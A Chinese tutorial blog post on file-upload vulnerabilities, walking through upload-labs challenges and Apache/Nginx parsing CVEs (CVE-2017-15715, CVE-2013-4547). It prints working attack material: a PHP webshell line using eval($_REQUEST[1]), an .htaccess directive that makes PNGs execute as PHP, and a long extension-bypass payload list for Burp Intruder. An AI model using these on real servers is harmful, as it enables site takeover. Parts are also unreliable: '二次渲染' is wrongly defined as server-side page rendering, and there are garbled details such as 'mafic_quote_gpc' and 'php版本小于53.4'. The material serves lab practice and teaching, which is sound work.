文件上传漏洞大总结:原理与复现

原理

文件上传漏洞的原理在于服务器没有正确验证上传文件的内容或类型,导致攻击者可以上传任意文件,包括恶意脚本(如PHP、ASP等),这些脚本一旦被执行,就可以对服务器进行各种恶意操作。

f8x靶场安装

f8x地址:ffffffff0x/f8x: 红/蓝队环境自动化部署工具 | Red/Blue team environment automation deployment tool (github.com)

upload-lab下载地址:https: //github. com/sqlsec/upload-labs-docker

  1. 下载两个文件,一个用于安装环境,一个用于当作靶场

  2. 全部下载到本机,解压,复制到虚拟机

  3. cd 进入文件夹

  4. 使用命令一键安装(需要代理,虚拟机代理教程:在 Kali Linux 虚拟机中实现主机代理共享的详细指南-CSDN博客

    1. bash f8x -d
  5. 安装完,进入upload-labs-docker文件夹

  6. 一键部署运行

    1. sudo docker-compose up -d

文件上传漏洞

  1. 前端验证

  2. 概念

    1. 服务器的验证放在游览器执行,导致攻击者通过修改前端或者是修改数据包进行绕过验证
  3. 步骤:

    1. 上传文件,捉包修改文件名称即可
  4. 上传特殊可解析后缀

    1. 概念

      1. 可以上传一些配置文件,让服务器来执行这些配置文件进而执行图片里的木马
    2. 步骤

      1. 上传图片马

      2. 上传.htaccess配置文件

        1. AddType application/x-httpd-php .png
      3. 图片以php形式解析

  5. ::$DATA绕过

    1. 概念

      1. Windows本地文件系统中的文件流(File Streams) :在Windows shell命令行中,流的完整名称为"filename:stream name:stream type"。

      2. 主要流类型

        • ::$ATTRIBUTE_LIST
        • ::$BITMAP
        • ::$DATA
        • ::$EA
        • ::$EA_INFORMATION
        • ::$FILE_NAME
        • ::$INDEX_ALLOCATION
        • ::$INDEX_ROOT
        • ::$LOGGED_UTILITY_STREAM
        • ::$OBJECT_ID
        • ::$REPARSE_POINT
      3. 步骤:

        1. 上传一个webshell,并使用Burp拦截功能。
        2. 在Burp中将文件名称.php后面加上::$DATA,然后forward数据包。
        3. 文件成功上传到服务器,但名称后缀为.php::$data
        4. 由于Windows的特性,磁盘会忽略::$data,实际创建的文件为.php
        5. 在浏览器中访问文件路径并去掉::$data,文件内容被成功执行。
  6. 点空格绕过

    1. 概念

      1. 主要利用原理是win系统会自动将“1.jpg.”删除‘.‘所以可以绕过
    2. 代码审计

      1.   $is_upload = false;
          $msg = null;
          if (isset($_POST['submit'])) {
              if (file_exists(UPLOAD_PATH)) {
                  $deny_ext = array("。。。");
                  $file_name = trim($_FILES['upload_file']['name']);
                  $file_name = deldot($file_name);//删除文件名末尾的点
                  $file_ext = strrchr($file_name, '.');--à删除空字符
                  $file_ext = strtolower($file_ext); //转换为小写
                  $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
                  $file_ext = trim($file_ext); //首尾去空
                  if (!in_array($file_ext, $deny_ext)) {
                      $temp_file = $_FILES['upload_file']['tmp_name'];
                      $img_path = UPLOAD_PATH.'/'.$file_name;---》解题关键,结构为文件名前缀加后缀,此时文件名为1.jpg.又因为win系统会自动删除‘.‘所以可以绕过
                      if (move_uploaded_file($temp_file, $img_path)) {
                          $is_upload = true;
                      } else {
                          $msg = '上传出错!';
                      }
                  } else {
                      $msg = '此文件类型不允许上传!';
                  }
              } else {
                  $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
              }
          }
        
    3. 步骤:

      1. 上传一个webshell,并使用Burp拦截功能。
      2. 在文件名称.php后面加上. .(两个点中间有一个空格),然后forward数据包。
      3. 访问上传的文件路径,文件成功被解析执行。
  7. 文件类型检测

    1. 概念

      1. 服务器只数据包中的文件类型也要检测,只要修改数据包中的文件类型即可

      2. 常见的文件类型
        1. 图片:Content-Type: image/png
        2. PHP:Content-Type: applicaation/octet-stream
    2. 过程

      1. 捉包修改文件名和文件类型即可
  8. 文件头检测

    1. 概念

      1. 服务器不仅检测数据类型,有时会检测文件头,常用的文件头如下,文件头文件尾
    2. 过程

      1. 先上传正常图片
      2. 捉包,将将图片内容删去,保留文件头,修改名称为php
  9. 黑名单绕过

      1. 概念

        1. 黑名单绕过的方式有很多,例如利用大小写,双写,特殊的名称等等
      2. 特殊文件爆破

        1. 常用的文件名
          1.   phtml
              php
              php3
              php4
              php5
              inc  
              pHtml
              pHp
              pHp3
              pHp4
              pHp5
              iNc
              iNc%00
              iNc%20%20%20
              iNc%20%20%20...%20.%20..
              iNc......
              inc%00
              inc%20%20%20
              inc%20%20%20...%20.%20..
              inc......
              pHp%00
              pHp%20%20%20
              pHp%20%20%20...%20.%20..
              pHp......
              pHp3%00
              pHp3%20%20%20
              pHp3%20%20%20...%20.%20..
              pHp3......
              pHp4%00
              pHp4%20%20%20
              pHp4%20%20%20...%20.%20..
              pHp4......
              pHp5%00
              pHp5%20%20%20
              pHp5%20%20%20...%20.%20..
              pHp5......
              pHtml%00
              pHtml%20%20%20
              pHtml%20%20%20...%20.%20..
              pHtml......
              php%00
              php%20%20%20
              php%20%20%20...%20.%20..
              php......
              php3%00
              php3%20%20%20
              php3%20%20%20...%20.%20..
              php3......
              php4%00
              php4%20%20%20
              php4%20%20%20...%20.%20..
              php4......
              php5%00
              php5%20%20%20
              php5%20%20%20...%20.%20..
              php5......
              phtml%00
              phtml%20%20%20
              phtml%20%20%20...%20.%20..
              phtml......
            
        2. 过程
          1. 捉包,放进intruder模块,按图配置,即可

      3. 双写

        1. 过程
          1. 先上传php文件,捉包双写即可
  10. %00截断

    1. 概念

      1. 攻击者可以构造一个文件名,如malicious.php%00.jpg。当服务器处理这个文件名时,如果没有正确处理%00字符,可能只会看到malicious.php(因为%00截断了字符串),从而允许上传一个PHP脚本,而不是一个图片文件。
    2. 条件

      1. mafic_quote_gpc=off
      2. php版本小于53.4
    3. 过程

      1. 上传php文件

        1. 如果url为没有变量的话的话就在这里(记得先url编码)加或者在文件名加

        2. 如果url有变量就在变量加,因为url上面的1%00会自动解码,就不需要手工解码

  11. 条件竞争

    1. 概念

      1. 这个漏洞主要是利用代码的逻辑漏洞,比如说代码中将文件存入服务器中在检查文件是否违规,违规就删除,但是攻击者通过在服务器检查的间隙中,再次生成木马就可以绕过了
    2. 代码审计

      1.   <?php
              header("Content-type: text/html;charset=utf-8");
              error_reporting(0);
              //设置上传目录
              define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
              define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
              if (!file_exists(UPLOAD_PATH)) {
                  mkdir(UPLOAD_PATH, 0755);
              }
              $is_upload = false;
              if (!empty($_POST['submit'])) {
                  $name = basename($_FILES['file']['name']);
                  $ext = pathinfo($name)['extension'];
                  $upload_file = UPLOAD_PATH . '/' . $name;
                  $whitelist = array('jpg','png','gif','jpeg');
          //UPLOAD_PATH . $name这个函数不对,这个函数是直接将上传的文件上传到最终路径再进行检查,只需要将其改为$upload_file函数即可,这个函数是将其上传带临时文件目录下,通过才可以到最终目录
                  if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
                      if(in_array($ext,$whitelist)){
                          $rename_file = rand(10, 99).date("YmdHis").".".$ext;
                          $img_path = UPLOAD_PATH . '/'. $rename_file;
                          rename($upload_file, $img_path);
                          $is_upload = true;
                      }else{
                          echo "<script>black();</script>";
                          unlink($upload_file);
                      }
                  } 
              }
          ?>
        
    3. 复现流程:

      1. 上传1.php,捉包,改包

        1. 插入攻击语句

          1.   <?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
              //这个语句就是创建xiao.php,在在其里面写入木马
            
        2. 放入intruder模块中,配置如图

        3. 开始attack

      2. 在上传一个访问1.php的包,也就是执行刚才的数据包

        1. 捉包,放入intruder模块,配置如下,发包

        2. attack

      3. 在游览器中一直尝试看能不能连接上新生成的后门,即xiao.php

        1. 页面发生改变

        2. 蚁剑连接即可

  12. 二次渲染

    1. 概念

      1. 二次渲染是指网页加载时,首先由服务器生成并发送一个完整的 HTML 页面,用户立刻看到内容;然后浏览器下载并运行 JavaScript 代码,激活页面上的交互功能,使其变得动态和可交互,从而结合了快速初始加载和丰富用户体验的优势。
    2. 步骤

      1. 上传文件1
      2. 下载文件2
      3. 放入010进行对比即可

Apache HTTPD 换行解析漏洞

(cve-2017-15715)

  1. 介绍

    1. Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
  2. 条件

    1. apache 2.4.0~2.4.29版本
    2. 两个功能点:1.有文件上传 2.在同一个页面可以上传后修改名称,原因因该是3.php有双引号锁着,当将20改为0a时,双引号掉到下一行,即使改回去也不行,而内容处符合条件
  3. 复现

    1. 上传一个php木马,在更改后的名称加一个空格

    2. 转到16进制,将对应名称后面的20改为0a

    3. 连接时记得在后面添加上%0a即可

Nginx 文件名逻辑漏洞

(CVE-2013-4547)

  1. 原理

    1. 这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
  2. 条件

    1. Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
  3. 复现

    1. 上传gif数据包,在文件名处加空格与添加执行代码即可

    2. 访问/uploadfiles/10.gif .php这个路径,将空格处的16进制改为20 00

    3. 发包,执行成功

Nginx 解析漏洞

  1. 概念

    1. 由于 nginx.conf 配置将以 .php 结尾的文件交给 FastCGI 处理,攻击者可以通过构造类似 http://ip/uploadfiles/test.png/.php 的 URL(其中 test.png 是包含 PHP 代码的图片文件)来利用此漏洞。FastCGI 在找不到 .php 文件时,php.ini 中的 cgi.fix_pathinfo=1 配置会将请求路径修复为上层路径,即 test.png。如果 php-fpm.confsecurity.limit_extensions 配置为空,FastCGI 将解析 .png 文件为 PHP 代码。为防止此类攻击,应限制 php-fpm 仅解析 .php 扩展名。
  2. 条件

    1. 该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
    2. php-fpm.conf配置文件未设置成.php
  3. 复现

    1. 上传正常图片,捉包,最后面放入执行代码

    2. 得到路径ploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png在后面加上/1.php进行访问即可

  • 21
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值